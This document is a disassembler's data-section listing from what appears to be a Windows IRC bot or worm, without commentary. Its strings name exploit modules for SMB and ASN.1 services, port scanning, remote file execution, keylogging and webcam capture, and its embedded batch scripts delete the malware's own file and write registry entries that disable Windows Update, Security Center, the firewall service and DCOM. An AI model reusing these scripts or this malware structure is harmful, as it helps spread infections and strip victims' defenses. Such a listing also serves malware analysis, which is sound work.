unk_422764 db 2 ; DATA XREF: sub_405290+33Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 4
unk_4227B8 db 2 ; DATA XREF: sub_405290+15Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 4
unk_422808 db 2 ; DATA XREF: sub_405290+6Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: sub_405290+Fo
align 4
aAsn1http_0 db 'asn1http',0 ; DATA XREF: sub_405DDD+164o
align 2
aAsn1http db 'asn1http',0 ; DATA XREF: sub_4032B0+1C8o
align 4
dd 5 dup(0)
dword_422880 dd 50h ; .nsp0:0040CEA7r ...
off_422884 dd offset sub_4032B0 ; DATA XREF: sub_405DDD+1E6r
dword_422888 dd 0 ; sub_4032B0+202r ...
dword_42288C dd 1 dword_422890 dd 1 aMsass445 db 'msass445',0
align 2
aAsn1smb db 'asn1smb',0
align 4
dd 5 dup(0)
dd 1BDh, 4032B0h, 0
dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 4032B0h, 0
dd 2 dup(1), 6D7973h, 0
dd 79530000h, 746E616Dh, 6365h, 5 dup(0)
dd 0B97h, 40399Fh, 0
dd 2 dup(1), 6D7973h, 0
db 2 dup(0)
byte_422952 db 1 ; DATA XREF: .nsp0:loc_40E8A4r
; .nsp0:0040E8AEo
aAsn139 db 'asn139',0
align 4
dd 100h, 3 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_405787+81o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_405787+42o
align 4
unk_42298C db 2 ; DATA XREF: sub_405787+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_4229C4 db 2 ; DATA XREF: sub_405851+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_4229F8 db 2 ; DATA XREF: sub_405851+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_422A2C db 2 ; DATA XREF: .nsp0:00405C37o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
unk_422A74 db 2 ; DATA XREF: .nsp0:loc_405BCFo
; .nsp0:0040EDECo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_422AC4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: .nsp0:00405B2Fo
dd 2029206Ch, 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
dword_422B08 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: .nsp0:00405AC2o
dd 2029206Ch, 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_422B5C db 2 ; DATA XREF: .nsp0:00405A11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_1 db 'Failed to start server, error: <%d>.',0
align 4
unk_422BA4 db 2 ; DATA XREF: .nsp0:004059A3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_405CA4+38o
; sub_408045+46o
unk_422C04 db 2 ; DATA XREF: sub_405DDD+EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_422C40 db 2 ; DATA XREF: sub_405DDD+93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_422C90 db 2 ; DATA XREF: sub_405FF1:loc_4061BFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_422CE8 db 2 ; DATA XREF: sub_405FF1+173o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_422D38 db 2 ; DATA XREF: sub_405FF1+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_422D84 db 2 ; DATA XREF: sub_405FF1+87o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 10h
unk_422DD0 db 2 ; DATA XREF: sub_406250+156o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 10h
unk_422E20 db 2 ; DATA XREF: sub_406250+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_422E78 db 2 ; DATA XREF: .nsp0:00406582o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
align 4
unk_422ECC db 2 ; DATA XREF: .nsp0:004064B9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_422F24 db 2 ; DATA XREF: sub_40665C+C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_422F58 db 2 ; DATA XREF: sub_40665C+5Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_406774+107o
align 4
aSS_3 db '%s\%s',0 ; DATA XREF: sub_406774+45o
; .nsp0:00409C84o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_406774+1Ao
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4068C6+C50o
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4068C6+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4068C6:loc_407501o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4068C6+BE6o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4068C6+BD9o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4068C6+BCCo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4068C6+BBFo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4068C6+BB2o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4068C6+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4068C6:loc_407463o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4068C6+B68o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4068C6+B60o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4068C6:loc_407419o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4068C6+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4068C6+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4068C6+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4068C6+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4068C6:loc_4073A5o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4068C6+AAAo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4068C6+AA2o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4068C6:loc_40735Bo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4068C6+A60o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4068C6+A58o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4068C6:loc_407311o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4068C6+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4068C6+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4068C6+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4068C6+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4068C6+99Ao
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4068C6+98Do
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4068C6+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4068C6+973o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4068C6+966o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4068C6+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4068C6+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4068C6:loc_407206o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4068C6+903o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4068C6+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4068C6+8EEo
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4068C6:loc_4071A7o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4068C6+8B4o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4068C6+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4068C6+835o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4068C6+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4068C6+81Bo
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4068C6+80Eo
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4068C6+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4068C6+7F4o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4068C6+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4068C6+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4068C6+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4068C6:loc_407087o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4068C6+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4068C6+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4068C6+66Eo
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4068C6+661o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4068C6+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4068C6+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4068C6+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4068C6+62Do
; .nsp0:00425FB4o
align 4
aListen db 'listen',0 ; DATA XREF: sub_4068C6+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_4068C6+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4068C6+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4068C6+5F9o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4068C6+5ECo
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_4068C6+5DFo
align 4
aSend db 'send',0 ; DATA XREF: sub_4068C6+5D2o
; .nsp0:0040C025o
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4068C6+5C5o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4068C6+5B8o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4068C6+5ABo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4068C6+59Eo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4068C6+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4068C6+584o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4068C6+577o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4068C6+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_4068C6+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4068C6+550o
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4068C6+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4068C6+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4068C6+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4068C6+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4068C6+50Fo
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4068C6+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4068C6+4F6o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4068C6+483o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4068C6+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4068C6+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4068C6+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4068C6+44Fo
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4068C6+442o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4068C6+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4068C6+428o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4068C6+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4068C6:loc_406CD5o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4068C6:loc_406CADo
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4068C6+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4068C6+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4068C6+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4068C6+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4068C6+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4068C6+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4068C6+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4068C6:loc_406BFFo
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4068C6+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4068C6+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4068C6:loc_406BBAo
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4068C6+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4068C6+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4068C6+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4068C6+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4068C6+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4068C6+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4068C6:loc_406B25o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4068C6+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4068C6+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4068C6+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4068C6:loc_406ABEo
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4068C6+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4068C6+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4068C6+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4068C6+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4068C6+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4068C6+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4068C6+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4068C6+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4068C6:loc_4069FBo
; sub_41AFBE+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4068C6:loc_4069CEo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4068C6+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4068C6+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4068C6+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4068C6+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4068C6+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4068C6+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4068C6+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4068C6+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4068C6+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4068C6+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4068C6+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4068C6+Ao
align 4
dword_42387C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_407553+2F2o
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_407553+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407553+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407553+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407553+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407553+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407553+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407553+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407553+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407553+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407553+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407553+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0
align 10h
aMirc db 'mIRC',0 ; DATA XREF: .nsp0:00407BA6o
; sub_411035+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_407C23+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407CC7+2o
aComspecCSS db '%%comspec%% /c %s %s',0
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: .nsp0:00407D6Eo
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: .nsp0:00407D31o
align 4
aCTempr_bat db 'c:\tempr.bat',0 ; DATA XREF: sub_407E71+29o
align 4
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_407E71+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
